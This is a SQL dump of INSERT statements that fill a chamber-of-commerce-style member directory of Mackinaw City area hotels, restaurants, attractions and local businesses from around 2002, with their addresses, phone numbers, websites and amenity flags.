+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (45,'','',1,6,'t','Clarion Hotel Beachfront','905 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5539','800-413-8826','','','www.mackinaw-city.com/lodging/clarion/index.htm','300'' of sandy beach with spectacular view of Mackinac Island and Bridge. Free Hot Breakfast. Adjacent to Mackinac Island ferry. Near shops and restaurants. Picnic area, playground, & in-room coffee.','acf21f.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (46,'','',1,6,'t','Waterfront Inn','1009 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5527','800-962-9832','','','www.largestbeach.com/prod02.html','Lakefront rooms w/balconies overlooking Lake Huron, family units & houskeeping cabins. Private sandy beach, picnic & play area, indoor pool w/waterfalls & innertubes, spa & sundeck. One block to ferry. AAA','waterfrontfinal.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','f','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (47,'','',1,6,'t','Wawatam Motel','219 W. Jamet St.','Mackinaw City','MI','49701','US','231-436-8871','','','','','We know the area well. Family owned and operated. Enjoy clean & quiet. Close to fine restaurants, shops, and Fort. Six blocks from Ferry. In-room phones & coffee. All ground level rooms. Ample parking.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (48,'','',1,6,'t','Northpointe Inn','1027 S. Huron','Mackinaw City','MI','49701','US','231-436-9812','800-576-2842','','','www.northpointeinn.com','Waterfront location with Island and Bridge views. Indoor pool and jacuzzi. New in 1998. Private beach, balconies, convenient location to all local activities and attractions. Cocktail Lounge on Site.','acf897.jpg','','','','','','2002-12-12','2002-12-12','t','f','t','f','t','f','t','f','t','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (49,'','',1,6,'t','Sundown Motel','1001 S. Nicolet St.','Mackinaw City','MI','49701','US','231-436-5422','888-251-6935','','sundownmotel@hotmail.com','','The motel that loves company, in the town that loves company. Friendly, family owned motel with 19 cozy units and VERY REASONABLE RATES. Walk to ferries, restaurants and downtown. BBQ Grill, Picnic Tables, Horeshoes, Playground, Volleyball, & Basketball. Across the street from Mackinaw''s Wilderness Beach Waterpark','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (51,'','',1,6,'t','Val-Ru Motel','14394 N. Mackinaw Hwy','Mackinaw City','MI','49701','US','231-436-7691','','','valrumotel@yahoo.com','www.geocities.com/valru.geo','Twenty six spacious comfortable rooms, in quiet wooded surroundings, all ground level rooms, easy access off I-75. Just two minutes from bridge and other attractions. Picnic area and playground, BBQ grill, a.m. coffee, AAA approved, free shuttles','','','','','','','2002-12-12','2002-12-12','f','t','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (52,'','',9,1,'t','A-Maze-N Mirrors','Located in The Mackinaw Crossings ','Mackinaw City','MI','49701','US','231-436-7550','','','','www.mirrormazes.com','Experience the amazing as you find your way through this fun filled, life size maze of mirrors and glass. A unique and amazing experience like none other. Fun for all ages.','amazelogo.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (53,'','',9,1,'t','Algoma Central Railway/Agawa Canyon Train Tours','129 Bay St.','Sault Ste Marie','ON','P6A 6Y2','US','','800-242-9287','','','www.agawacanyontourtrain.com','One day wilderness rail excursions to Agawa Canyon. Travel 114 miles north of Sault Ste. Marie over towering trestles, alongside pristine northern lakes and rivers and through awesome granite rock formations of the Canadian Shield. Located an hour north of Mackinaw City.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (315,'','',11,1,'t','Dixie Saloon','401 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5449','','','','','Originally built in 1890, re-opened in 2000, 2 story log restaurant, features - great food, large portions, reasonable prices & nightly dancing, Mackinaw''s Hot Spot. Located at the corner of Huron and Central, across from Shepler''s Ferry.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (316,'','',9,1,'t','Mackinac Seaplane Tours','P.O. Box 631','Sault Ste Maire','MI','49783','US','906-632-9746','','','sales@mackinacseaplanes.com','www.mackinacseaplanes.com','Welcome Aboard! After all....it''s just plane fun! Boarding a seaplane and taking off and landing on the water is an experience we''re sure you will enjoy. Get a unique perspective with a spectacular eagle''s view of the Straits of Mackinac, Mackinac Island, St.Ignace, Mackinac Bridge, Mackinaw City, Cedarville, Drummond Island, Sault Ste. Maire, Soo Locks, St. Mary''s River, Shore Line of Lake Superior, and Tahquamenon Falls. We also offer Fall Color Tours and breath taking aerial seaplane tours of the historic Great Lakes Lighthouses. Reserve your seat 24 hours in advance and come up and see what you''ve been missing!','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (54,'','',9,1,'t','Animal Tracks Adventure Golf','312 South Huron Avenue','Mackinaw City','MI','49701','US','231-436-5597','','','','','Challenges you to learn about our northern wildlife while playing miniature golf & having great family fun! Match up any 12 animals with their tracks on the hole marker & you win a free game! Located next to the Traverse Bay Woolen Company.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (57,'','',11,1,'t','Anna''s Country Buffet','416 South Huron Avenue','Mackinaw City','MI','49701','US','231-436-5195','','','','www.mackinawdining.com','Buffet style restaurant. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (58,'','',10,1,'t','Arnold Transit Company','801 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5542','800-542-8528','','','www.arnoldline.com','Catch the Cat! The Largest ships serving Mackinac Island for more than 100 years. The only Catamarans serving the Island. Most Luxurious and comfortable seating. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (59,'','',11,1,'t','Audie''s Restaurant','314 N. Nicolet Ave.','Mackinaw City','MI','49701','US','231-436-5744','','','','www.audies.com','Offering fast, friendly service in the FAMILY ROOM, or leisurely, relaxed dining in the CHIPPEWA ROOM. Private banquet and meeting rooms. Cocktails served in both dining rooms. Open year round. Buses Welcome.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (314,'','',6,1,'t','Sign of the Loon Gifts','311 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5155','','','inquire@signoftheloon.com','www.signoftheloon.com','A truely unique and different shopping experience, Sign of the Loon contains many nature inspired treasures. As a promoter of artisans, we carry many hand-crafted items, Native American crafts, and an unusual assortment of ""one of a kind gifts"".','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (317,'','',6,1,'t','Balsam Shop','313 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-6395','','','','','Minnetonka Moccasins, silver & copper jewelry, knives & swords. Indian curios, fine gifts, collectibles, toys & souvenirs. Hats, shirts,jackets. Open May till November & winter weekends. VS MC DR AX','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (318,'','',9,1,'t','Soo Lock Boat Tours','515 & 1157 E. Portage Avenue','Sault Ste Marie','MI','49783','US','906-632-6301','800-432-6301','','','www.soolocks.com','Is one of Michigan''s Top Attractions. Plan a day trip to Sault Ste. Marie & don''t miss one of the highlights of your ""Mackinaw Experience."" For vacation fun actually ride through the Soo Locks, right alongside the big lake & ocean ships. Your boat will ride the water, straight up, 21 feet to the level of Lake Superior. A live narration explains all the maritime activity. On the 2 hour Soo Locks Tour you''ll learn about the history of the Locks & Michigan''s oldest city. There are many departure times to choose from, & no reservations are necessary. The two full service dock facilities have snack bars, restrooms, & souvenir shops.','soolocks.jpg','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (61,'','',2,1,'t','Barnett-France Insurance Agency','580 S. Nicolet Ave. P.O. Box 489','Mackinaw City','MI','49701','US','231-436-5053','888-211-7388','231-436-5985','','','Insurance Agency','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (62,'','',5,1,'t','Bayside Beverage','1008 Franklin St.','Petoskey','MI','49770','US','','','','','','Distributing Company','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (63,'','',6,1,'t','Candy Corner/Windjammer','331 E. Central Ave.','Mackinaw City','MI','49701','US','231-436-5591','','','','','Located opposite Shepler''s Ferrie. Featuring delicious ""Mackinaw City Fudge"" and candies. Complet Line of Gifts, Souvenirs, and Novelties.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (64,'','',3,1,'t','Cheboygan Daily Tribune','308 N. Main St.','Cheboygan','MI','49721','US','231-627-7144','','','','','Daily Newspaper','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (65,'','',2,1,'t','Citizen''s National Bank','580 S. Nicolet St.','Mackinaw City','MI','49701','US','231-436-5271 or','','','','','24 hour ATM, Cash advances on MC/Visa and Discover','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (319,'','',9,1,'t','Soo Locks Upper St. Mary''s River Lighthouse Cruise','515 & 1157 E. Portage Avenue','Sault Ste Marie','MI','49783','US','906-632-6301','800-432-6301','','','www.soolocks.com','Enjoy riding through the Soo Locks and naviagating in the St.Mary''s River. Explore this important waterway and see the variety of lighthouses and navigation markers leading ships to the Soo Locks from Lake Superior. You will see the Point Iroquois Lighthouse, Gros Cap Reefs Light Station, the remains of Round Island Lighthouse, and many other interesting sights. This 4 hour cruise departs at 8:30 a.m. and retruns at approximately 12:30 p.m. The U.S. Coast Guard inspected 275-passenger capacity ship is equipped with a climate controlled lower deck, restrooms, and snack bar. Box lunches are available with advance reservations. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (320,'','',6,1,'t','Mackinaw Marketplace','209 East Central Avenue','Mackinaw City','MI','49701','US','231-436-7122','','231-436-7122','','www.mackinawmarketplace.com','The Mackinaw Market Place makes from the finest ingredients handmade fudge, carmelcorn,brittles crisp & hand dipped chocolates. Known by thousands of repeat customers as having the best carmel corn in the north.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (321,'','',2,1,'t','Bayview Mortgage Services, Inc.','1493 E. Gill Road','Carp Lake','MI','49718','US','231-537-2744','1-888-403-1997','','bayviewinc@racc2000.com','www.bayviewmortgageservicesinc.com','Serving Northern Michigan since 1981. Mortgages for primary homes, 2nd homes, condos, vacant lots, fixed rates, adjustable rates - The best service and lowest rates. Locally owned - fast service','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (322,'','',3,1,'t','Gaslight Media','120 E. Lake Street','Petoskey','MI','49770','US','231-487-0692','1-877-Gaslight','231-487-0313','info@gaslightmedia.com','www.gaslightmedia.com','Gaslight Media is a Full Service Business Internet Provider. For over six years, Gaslight Media''s in-house programmers, Internet consultants and designers have created sites that enhance success and maximize investment. Offering Internet connectivity to businesses, Web hosting services, streaming audio/video servers and graphic design. Gaslight Media provides an overall solution for your companies Internet needs. Call 877-Gaslight for your free consultation.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (70,'','',9,1,'t','Mackinaw Crossings (CourtYards of Mackinaw)','248 South Huron Avenue','Mackinaw City','MI','49701','US','231-436-5030','1-888-436-5030','','','www.mackinawcrossings.com','A Victorian-style theme park consisting of 50 shops and attractions, including an 800 seat, indoor theatre featuring live entertainment daily. An outdoor amphitheatre provides free entertainment and a nightly laser light music show. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (72,'','',11,1,'t','Ember''s Restaurant','810 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5773','','','','www.mackinawcityembers.com','Across from Arnold''s Mackinac Island Ferry, and close to many hotels, Embers'' features great food, breakfast, lunch and dinner buffet, and a cozy lounge.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (73,'','',2,1,'t','National City Bank of Michigan/Illinois','118 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5522','','','','','24 Hour Banking. MC/VISA - Cash Advance Services','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (74,'','',11,1,'t','Nature''s Table','166 S. Huron Avenue / In the Mackinaw Crossings','Mackinaw City','MI','49701','US','231-436-7779','','','','','One Little Taste is all it takes to know the quality and freshness Nature''s Table has to offer. Award Winning Veggie Chili, Homemade soups, salads, sandwiches, fresh fruit smoothies, and Frozen Yogurt.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (75,'','',6,1,'t','Northern Michigan Duplicating','121 South Huron Avenue','Cheboygan','MI','49721','US','231-627-7020','','','','','Copier Service, Sales, and Leasing','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (323,'','',1,6,'t','Grand View Resort','11384 W. US 23','Mackinaw City','MI','49701','US','231-436-8100 ','866-436-8100','231-436-8100','grandviewresort@msn.com','www.grandviewresort.com','In the midst of 230 feet of sandy beach on Lake Huron, we have Mackinaw City''s most breathtaking view of Mackinac Island and the Mackinac Bridge. We are proud to offer beachfront suites and a variety of beautiful rooms with a spectacular water view. For your longer stays, you may want to check out our brand new condo with a full kitchen and master bedroom adjacent to our sparkling outdoor pool heated to 85 degrees. Jet ski & jet boat rentals available.','acf893.jpg','','','','','','2002-12-12','2002-12-12','f','t','f','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (336,'','',4,1,'t','Mackinaw City Bible Church','308 W. Central Avenue','Mackinaw City','MI','49701','US','231-436-8591','','','','','Sunday School: 10:00 a.m.; Worship: 11:00 a.m.; Evening Service: 7:00 p.m. (May - October), 6:00 p.m. (November - April); Wednesday evening prayer & Bible study; 7:00 p.m. Pastor: Rev. Reid E. Nelson.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (77,'','',6,1,'t','O''Brien''s Shirts & Gifts','220 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5074 ','','','','www.obriens2@voyager.net','Shirts for Everyone! We make custom shirts while you wait. Carrying a huge line of all styles. T-shirts & Sweatshirts from sizes 6 months to 6XL. Over 1000 different designs to choose from. Very reasonable prices. Souvenir, Wildlife, Cars, Nautical, Harley and lots of fun. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (78,'','',11,1,'t','Pancake Chef','327 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5578','1-888-436-5578','','','www.pancakechef.com','Open year'' round. Main Street across from City Hall. Complete lunch and dinner menu. Breakfast anytime. Pleasant, comfortable family dining. Salad bar & buffet. Experienced Group Tour Service.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (80,'','',8,1,'t','Nubs Nob','500 Nubs Nob Rd.','Harbor Springs','MI','49740','US','231-526-2131','','','','www.nubsnob.com','People who ski Nub''s know our secret. It''s our magic formula for a successful ski & snowboard season - a variety of great terrain, the ""Best Snow in the Midwest,"" Runs: 43 total, 7 most difficult, 20 more difficult, 14 easiest, 2 snowboard halfpipes.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
